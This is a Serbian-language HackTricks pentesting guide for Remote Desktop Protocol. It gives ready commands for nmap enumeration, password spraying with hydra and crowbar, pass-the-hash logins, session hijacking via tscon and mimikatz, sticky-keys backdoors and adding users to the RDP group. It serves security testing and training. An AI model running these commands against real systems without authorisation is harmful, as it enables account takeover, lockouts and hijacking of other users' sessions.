3389 - Pentesting RDP

Support HackTricks

Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.

Osnovne informacije

Razvijen od strane Microsoft-a, Remote Desktop Protocol (RDP) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi RDP klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi RDP serverski softver. Ova postavka omogućava neometano upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na korisnikov lokalni uređaj.

Podrazumevani port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeracija

Automatski

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Proverava dostupnu enkripciju i DoS ranjivost (bez izazivanja DoS na uslugu) i dobija NTLM Windows informacije (verzije).

Budite oprezni, mogli biste zaključati naloge

Password Spraying

Budite oprezni, mogli biste zaključati naloge

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Povezivanje sa poznatim akreditivima/hash-om

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Proverite poznate akreditive protiv RDP usluga

rdp_check.py iz impacket-a vam omogućava da proverite da li su neki akreditivi validni za RDP uslugu:

rdp_check <domain>/<name>:<password>@<IP>

Odmah dostupna postavka za procenu ranjivosti i pentesting. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.

Napadi

Krađa sesija

Sa SYSTEM dozvolama možete pristupiti bilo kojoj otvorenoj RDP sesiji bilo kog korisnika bez potrebe da znate lozinku vlasnika.

Dobijte otvorene sesije:

query user

Pristup odabranoj sesiji

tscon <ID> /dest:<SESSIONNAME>

Sada ćete biti unutar odabrane RDP sesije i moraćete da se pretvarate da ste korisnik koristeći samo Windows alate i funkcije.

Važno: Kada pristupite aktivnim RDP sesijama, izbacujete korisnika koji je koristio sesiju.

Možete dobiti lozinke iz procesa tako što ćete ga iskopirati, ali je ova metoda mnogo brža i omogućava vam da interagujete sa virtuelnim radnim površinama korisnika (lozinke u notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)

Mimikatz

Takođe možete koristiti mimikatz za ovo:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Kombinovanjem ove tehnike sa stickykeys ili utilman, moći ćete da pristupite administrativnom CMD-u i bilo kojoj RDP sesiji u bilo kojem trenutku.

Možete pretraživati RDP-ove koji su već backdoor-ovani jednom od ovih tehnika sa: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Ako se neko iz druge domene ili sa boljim privilegijama prijavi putem RDP-a na PC gde ste vi Admin, možete ubaciti svoj beacon u njegov RDP sesijski proces i delovati kao on:

RDP Sessions Abuse

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn je post-exploatacioni okvir kreiran u Powershell-u, dizajniran prvenstveno za automatizaciju Shadow napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da vidi desktop svoje žrtve bez njenog pristanka, pa čak i da njime upravlja na zahtev, koristeći alate koji su izvorni deo samog operativnog sistema.

  • Kontrola miša i tastature na automatizovan način iz komandne linije

  • Kontrola međuspremnika na automatizovan način iz komandne linije

  • Pokretanje SOCKS proxy-a sa klijenta koji usmerava mrežnu komunikaciju ka meti putem RDP-a

  • Izvršavanje proizvoljnih SHELL i PowerShell komandi na meti bez učitavanja fajlova

  • Učitavanje i preuzimanje fajlova sa/na metu čak i kada su prenosi fajlova onemogućeni na meti

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Odmah dostupna postavka za procenu ranjivosti i pentesting. Izvršite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.

Podržite HackTricks

Last updated